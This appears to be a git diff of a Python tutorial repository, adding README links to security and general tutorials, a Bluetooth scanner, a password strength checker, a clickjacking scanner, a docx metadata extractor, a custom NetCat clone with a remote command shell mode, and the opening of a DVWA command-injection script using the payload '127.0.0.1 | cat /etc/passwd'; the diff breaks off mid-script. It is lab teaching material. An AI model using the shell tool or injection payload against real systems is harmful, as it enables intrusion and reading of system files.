diff --git a/README.md b/README.md index 62a234f9..ddf5f25d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,13 @@ -![alt text](images/python_logo.ico) +

+ + CodingFleet Code Generator + + CodingFleet Code Converter + +

+ + + # Python Code Tutorials This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website. ## List of Tutorials @@ -17,6 +26,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood)) - [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/)) - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer)) + - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis)) + - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets)) - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger)) - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner)) - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell)) @@ -57,6 +68,20 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher)) - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator)) - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner)) + - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb)) + - [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python). ([code](ethical-hacking/implement-2fa)) + - [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python). ([code](ethical-hacking/username-finder)) + - [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows)) + - [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover)) + - [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor)) + - [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware)) + - [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection)) + - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware)) + - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware)) + - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength)) + - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup)) + - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner)) + - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -111,6 +136,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Real-Time Vehicle Detection, Tracking and Counting in Python](https://thepythoncode.com/article/real-time-vehicle-tracking-and-counting-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Vehicle-Detection-Tracking-and-Counting-in-Python/)) - [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python). ([code](machine-learning/cartoonify-images)) - [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python). ([code](machine-learning/facial-recognition-system)) + - [Non-Maximum Suppression with OpenCV and Python](https://thepythoncode.com/article/non-maximum-suppression-using-opencv-in-python). ([code](https://github.com/Rouizi/Non-Maximum-Suppression-with-OpenCV-and-Python)) - [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition)) - [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python). ([code](machine-learning/speech-recognition)) - [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists). @@ -161,6 +187,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) + - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager)) @@ -183,6 +210,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) + - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -207,6 +235,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python). ([code](python-standard-library/print-variable-name-and-value)) - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) - [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse)) + - [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone)) + - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation)) + - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) @@ -263,6 +294,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python). ([code](python-for-multimedia/record-specific-window)) - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) + - [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images)) + - [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images)) + - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files)) - ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) @@ -324,6 +358,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python). ([code](gui-programming/pong-game)) - [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game)) - [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game)) + - [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game)) + - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games)) + - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame)) For any feedback, please consider pulling requests. diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py index 4419b582..2945c767 100644 --- a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py +++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py @@ -1,25 +1,85 @@ -# Import bluetooth from the PyBluez module. import bluetooth +# Major and Minor Device Class definitions based on Bluetooth specifications +MAJOR_CLASSES = { + 0: "Miscellaneous", + 1: "Computer", + 2: "Phone", + 3: "LAN/Network Access", + 4: "Audio/Video", + 5: "Peripheral", + 6: "Imaging", + 7: "Wearable", + 8: "Toy", + 9: "Health", + 10: "Uncategorized" +} + +MINOR_CLASSES = { + # Computer Major Class + (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation", + (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA", + (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer", + # Phone Major Class + (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless", + (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway", + (2, 5): "Common ISDN Access", + # LAN/Network Access Major Class + (3, 0): "Fully available", (3, 1): "1% to 17% utilized", + (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized", + (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized", + (3, 6): "83% to 99% utilized", (3, 7): "No service available", + # Audio/Video Major Class + (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device", + (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio", + (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device", + (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder", + (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker", + (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy", + # Peripheral Major Class + (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard", + (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device", + # Imaging Major Class + (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer", + # Wearable Major Class + (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket", + (7, 3): "Helmet", (7, 4): "Glasses", + # Toy Major Class + (8, 0): "Robot", (8, 1): "Vehicle", + (8, 2): "Doll / Action figure", + (8, 3): "Controller", (8, 4): "Game", + # Health Major Class + (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor", + (9, 2): "Thermometer", (9, 3): "Weighing Scale", + (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter", + (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display", + (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer", + (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor", + (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis", + # More specific definitions can be added if needed +} + +def parse_device_class(device_class): + major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits) + minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits) + major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class") + minor_class_key = (major, minor) + minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class") + return major_class_name, minor_class_name + + def scan_bluetooth_devices(): try: - # Discover Bluetooth devices with names and classes. - discovered_devices = bluetooth.discover_devices(lookup_names=True, lookup_class=True) - - # Display information about the scanning process. - print('[!] Scanning for active devices...') - print(f"[!] Found {len(discovered_devices)} Devices\n") - - # Iterate through discovered devices and print their details. + discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True) + print('[!] Scanning for Bluetooth devices...') + print(f"[!] Found {len(discovered_devices)} Devices") for addr, name, device_class in discovered_devices: - print(f'[+] Name: {name}') - print(f'[+] Address: {addr}') - print(f'[+] Device Class: {device_class}\n') - + major_class, minor_class = parse_device_class(device_class) + print(f"[+] Device Name: {name}") + print(f" Address: {addr}") + print(f" Device Class: {device_class} ({major_class}, {minor_class})") except Exception as e: - # Handle and display any exceptions that occur during device discovery. print(f"[ERROR] An error occurred: {e}") - -# Call the Bluetooth device scanning function when the script is run -scan_bluetooth_devices() +if __name__ == "__main__": + scan_bluetooth_devices() diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md new file mode 100644 index 00000000..a0677af7 --- /dev/null +++ b/ethical-hacking/checking-password-strength/README.md @@ -0,0 +1 @@ +# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python) \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py new file mode 100644 index 00000000..cf897997 --- /dev/null +++ b/ethical-hacking/checking-password-strength/check_password_strength.py @@ -0,0 +1,37 @@ +from zxcvbn import zxcvbn +import pprint, getpass, sys + + +def test_single_password(): + password = getpass.getpass("[?] Enter your password: ") + result = zxcvbn(password) + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + +def test_multiple_passwords(password_file): + try: + with open(password_file, 'r') as passwords: + for password in passwords: + result = zxcvbn(password.strip('\n')) + print('\n[+] ######################')# for readability + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + except Exception: + print('[!] Please make sure to specify an accessible file containing passwords.') + + +if len(sys.argv) == 2: + test_multiple_passwords(sys.argv[1]) +elif len(sys.argv) == 1: + test_single_password() +else: + print('Usage: python test_password_strength.py (for a file containing passwords) or \ + \npython test_password_strength.py (for a single password.)') \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/passwords.txt b/ethical-hacking/checking-password-strength/passwords.txt new file mode 100644 index 00000000..78b151ad --- /dev/null +++ b/ethical-hacking/checking-password-strength/passwords.txt @@ -0,0 +1,4 @@ +password +1234567 +abc123cba159 +Sioplabxtre_9lTGCE diff --git a/ethical-hacking/checking-password-strength/requirements.txt b/ethical-hacking/checking-password-strength/requirements.txt new file mode 100644 index 00000000..7f766a99 --- /dev/null +++ b/ethical-hacking/checking-password-strength/requirements.txt @@ -0,0 +1 @@ +zxcvbn \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/README.md b/ethical-hacking/clickjacking-scanner/README.md new file mode 100644 index 00000000..11c88d59 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/README.md @@ -0,0 +1 @@ +# [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python) \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py new file mode 100644 index 00000000..c8933bac --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py @@ -0,0 +1,55 @@ +import requests, argparse + + +# Function to check if a website is vulnerable to clickjacking. +def check_clickjacking(url): + try: + # Add https:// schema if not present in the URL. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + # Send a GET request to the URL. + response = requests.get(url) + headers = response.headers + + # Check for X-Frame-Options header. + if 'X-Frame-Options' not in headers: + return True + + # Get the value of X-Frame-Options and check it.. + x_frame_options = headers['X-Frame-Options'].lower() + if x_frame_options != 'deny' and x_frame_options != 'sameorigin': + return True + + return False + except requests.exceptions.RequestException as e: + print(f"An error occurred while checking {url} - {e}") + return False + +# Main function to parse arguments and check the URL. +def main(): + parser = argparse.ArgumentParser(description='Clickjacking Vulnerability Scanner') + parser.add_argument('url', type=str, help='The URL of the website to check') + parser.add_argument('-l', '--log', action='https://github.com/store_true', help='Print out the response headers for analysis') + args = parser.parse_args() + + url = args.url + is_vulnerable = check_clickjacking(url) + + if is_vulnerable: + print(f"[+] {url} may be vulnerable to clickjacking.") + else: + print(f"[-] {url} is not vulnerable to clickjacking.") + + if args.log: + # Add https:// schema if not present in the URL for response printing. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + print("\nResponse Headers:") + response = requests.get(url) + for header, value in response.headers.items(): + print(f"{header}: {value}") + +if __name__ == '__main__': + main() diff --git a/ethical-hacking/clickjacking-scanner/requirements .txt b/ethical-hacking/clickjacking-scanner/requirements .txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/requirements .txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/README.md b/ethical-hacking/custom-netcat/README.md new file mode 100644 index 00000000..81366e68 --- /dev/null +++ b/ethical-hacking/custom-netcat/README.md @@ -0,0 +1 @@ +# [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python) \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/netcat.py b/ethical-hacking/custom-netcat/netcat.py new file mode 100644 index 00000000..73313932 --- /dev/null +++ b/ethical-hacking/custom-netcat/netcat.py @@ -0,0 +1,322 @@ +import sys, socket, getopt, threading, subprocess, signal, time + + +class NetCat: + def __init__(self, target, port): + self.listen = False + self.command = False + self.upload = False + self.execute = "" + self.target = target + self.upload_destination = "" + self.port = port + self.running = True + self.threads = [] + + def signal_handler(self, signum, frame): + print('\n[*] User requested an interrupt. Exiting gracefully.') + self.running = False + time.sleep(0.5) + sys.exit(0) + + def run_command(self, cmd): + cmd = cmd.rstrip() + try: + output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + output = e.output + except Exception as e: + output = str(e).encode() + return output + + def handle_client(self, client_socket): + try: + if len(self.upload_destination): + file_buffer = "" + while self.running: + try: + data = client_socket.recv(1024) + if not data: + break + else: + file_buffer += data.decode('utf-8') + except (ConnectionResetError, BrokenPipeError) as e: + print(f"[!] Connection error during upload: {str(e)}") + break + except Exception as e: + print(f"[!] Error receiving data: {str(e)}") + break + + try: + with open(self.upload_destination, "wb") as file_descriptor: + file_descriptor.write(file_buffer.encode('utf-8')) + try: + client_socket.send( + f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send success message - connection lost") + except OSError as e: + print(f"[!] File operation failed: {str(e)}") + try: + client_socket.send( + f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send error message - connection lost") + + if len(self.execute) and self.running: + try: + output = self.run_command(self.execute) + client_socket.send(output) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send command output - connection lost") + except Exception as e: + print(f"[!] Error executing command: {str(e)}") + + if self.command: + while self.running: + try: + # Send prompt + client_socket.send(b" ") + + # Receive command + cmd_buffer = b'' + while b"\n" not in cmd_buffer and self.running: + try: + data = client_socket.recv(1024) + if not data: + raise ConnectionResetError("No data received") + cmd_buffer += data + except socket.timeout: + continue + except (ConnectionResetError, BrokenPipeError): + raise + + if not self.running: + break + + # Execute command and send response + try: + cmd = cmd_buffer.decode().strip() + if cmd.lower() in ['exit', 'quit']: + print("[*] User requested exit") + break + + output = self.run_command(cmd) + if output: + client_socket.send(output + b"\n") + else: + client_socket.send(b"Command completed without output\n") + + except (BrokenPipeError, ConnectionResetError): + print("[!] Connection lost while sending response") + break + except Exception as e: + error_msg = f"Error executing command: {str(e)}\n" + try: + client_socket.send(error_msg.encode()) + except: + break + + except ConnectionResetError: + print("[!] Connection reset by peer") + break + except BrokenPipeError: + print("[!] Broken pipe - connection lost") + break + except Exception as e: + print(f"[!] Error in command loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Exception in handle_client: {str(e)}") + finally: + try: + client_socket.close() + print("[*] Client connection closed") + except: + pass + + def server_loop(self): + server = None + try: + if not len(self.target): + self.target = "0.0.0.0" + + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((self.target, self.port)) + server.listen(5) + + print(f"[*] Listening on {self.target}:{self.port}") + + server.settimeout(1.0) + + while self.running: + try: + client_socket, addr = server.accept() + print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") + + client_thread = threading.Thread( + target=self.handle_client, + args=(client_socket,) + ) + client_thread.daemon = True + self.threads.append(client_thread) + client_thread.start() + + except socket.timeout: + continue + except Exception as e: + if self.running: + print(f"[!] Exception in server_loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Failed to create server: {str(e)}") + finally: + if server: + try: + server.close() + print("[*] Server socket closed") + except: + pass + + for thread in self.threads: + try: + thread.join(timeout=1.0) + except threading.ThreadError: + pass + + def client_sender(self, buffer): + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + print(f"[*] Connecting to {self.target}:{self.port}") + client.connect((self.target, self.port)) + + if len(buffer): + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Failed to send initial buffer - connection lost") + return + + while self.running: + try: + # Receive response from server + recv_len = 1 + response = b'' + + while recv_len: + data = client.recv(4096) + recv_len = len(data) + response += data + + if recv_len < 4096: + break + + if response: + print(response.decode('utf-8'), end='') + + # Get next command + buffer = input() + if not self.running: + break + + if buffer.lower() in ['exit', 'quit']: + break + + buffer += "\n" + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("\n[!] Failed to send data - connection lost") + break + + except ConnectionResetError: + print("\n[!] Connection reset by peer") + break + except BrokenPipeError: + print("\n[!] Broken pipe - connection lost") + break + except EOFError: + print("\n[!] EOF detected - exiting") + break + except Exception as e: + print(f"\n[!] Exception in client loop: {str(e)}") + break + + except socket.error as exc: + print("\n[!] Exception! Exiting.") + print(f"[!] Caught exception socket.error: {exc}") + finally: + print("[*] Closing connection") + try: + client.close() + except: + pass + +def main(): + if len(sys.argv[1:]) == 0: + print("Custom Netcat") + print("\nSYNOPSIS") + print(" netcat.py [OPTIONS...]\n") + print("OPTIONS") + print(" -l, --listen Start server in listening mode on specified host:port") + print(" -e, --execute= Execute specified file upon connection establishment") + print(" -c, --command Initialize an interactive command shell session") + print(" -u, --upload= Upload file to specified destination path on connection") + print(" -t, --target= Specify target hostname or IP address") + print(" -p, --port= Specify target port number") + print() + sys.exit(0) + + try: + opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", + ["help", "listen", "execute", "target", + "port", "command", "upload"]) + + for o, a in opts: + if o in ("-h", "--help"): + main() + elif o in ("-l", "--listen"): + toolkit.listen = True + elif o in ("-e", "--execute"): + toolkit.execute = a + elif o in ("-c", "--command"): + toolkit.command = True + elif o in ("-u", "--upload"): + toolkit.upload_destination = a + elif o in ("-t", "--target"): + toolkit.target = a + elif o in ("-p", "--port"): + toolkit.port = int(a) + else: + assert False, "Unhandled Option" + + except getopt.GetoptError as err: + print(str(err)) + main() + + signal.signal(signal.SIGINT, toolkit.signal_handler) + signal.signal(signal.SIGTERM, toolkit.signal_handler) + + try: + if not toolkit.listen and len(toolkit.target) and toolkit.port > 0: + buffer = sys.stdin.read() + toolkit.client_sender(buffer) + + if toolkit.listen: + toolkit.server_loop() + except KeyboardInterrupt: + print("\n[*] User requested shutdown") + except Exception as e: + print(f"\n[!] Unexpected error: {str(e)}") + finally: + toolkit.running = False + print("[*] Shutdown complete") + sys.exit(0) + +if __name__ == "__main__": + toolkit = NetCat("", 0) + main() \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/README.md b/ethical-hacking/docx-metadata-extractor/README.md new file mode 100644 index 00000000..fc8e91dc --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/README.md @@ -0,0 +1 @@ +# [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python) \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py new file mode 100644 index 00000000..794c1860 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py @@ -0,0 +1,41 @@ +import docx # Import the docx library for working with Word documents. +from pprint import pprint # Import the pprint function for pretty printing. + +def extract_metadata(docx_file): + doc = docx.Document(docx_file) # Create a Document object from the Word document file. + core_properties = doc.core_properties # Get the core properties of the document. + + metadata = {} # Initialize an empty dictionary to store metadata + + # Extract core properties + for prop in dir(core_properties): # Iterate over all properties of the core_properties object. + if prop.startswith('__'): # Skip properties starting with double underscores (e.g., __elenent). Not needed + continue + value = getattr(core_properties, prop) # Get the value of the property. + if callable(value): # Skip callable properties (methods). + continue + if prop == 'created' or prop == 'modified' or prop == 'last_printed': # Check for datetime properties. + if value: + value = value.strftime('%Y-%m-%d %H:%M:%S') # Convert datetime to string format. + else: + value = None + metadata[prop] = value # Store the property and its value in the metadata dictionary. + + # Extract custom properties (if available). + try: + custom_properties = core_properties.custom_properties # Get the custom properties (if available). + if custom_properties: # Check if custom properties exist. + metadata['custom_properties'] = {} # Initialize a dictionary to store custom properties. + for prop in custom_properties: # Iterate over custom properties. + metadata['custom_properties'][prop.name] = prop.value # Store the custom property name and value. + except AttributeError: + # Custom properties not available in this version. + pass # Skip custom properties extraction if the attribute is not available. + + return metadata # Return the metadata dictionary. + + + +docx_path = 'test.docx' # Path to the Word document file. +metadata = extract_metadata(docx_path) # Call the extract_metadata function. +pprint(metadata) # Pretty print the metadata dictionary. \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/requirements.txt b/ethical-hacking/docx-metadata-extractor/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/test.docx b/ethical-hacking/docx-metadata-extractor/test.docx new file mode 100644 index 00000000..5bff270e Binary files /dev/null and b/ethical-hacking/docx-metadata-extractor/test.docx differ diff --git a/ethical-hacking/exploit-command-injection/README.md b/ethical-hacking/exploit-command-injection/README.md new file mode 100644 index 00000000..c0f69d8c --- /dev/null +++ b/ethical-hacking/exploit-command-injection/README.md @@ -0,0 +1 @@ +# [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner.py b/ethical-hacking/exploit-command-injection/command_injection_scanner.py new file mode 100644 index 00000000..7a6b6333 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner.py @@ -0,0 +1,58 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payload. +payload = "127.0.0.1 | cat /etc/passwd" + + +def check_command_injection(base_url, login_url, login_data, vuln_page_url): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application (DVWA). + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + # Send the payload through the form. + 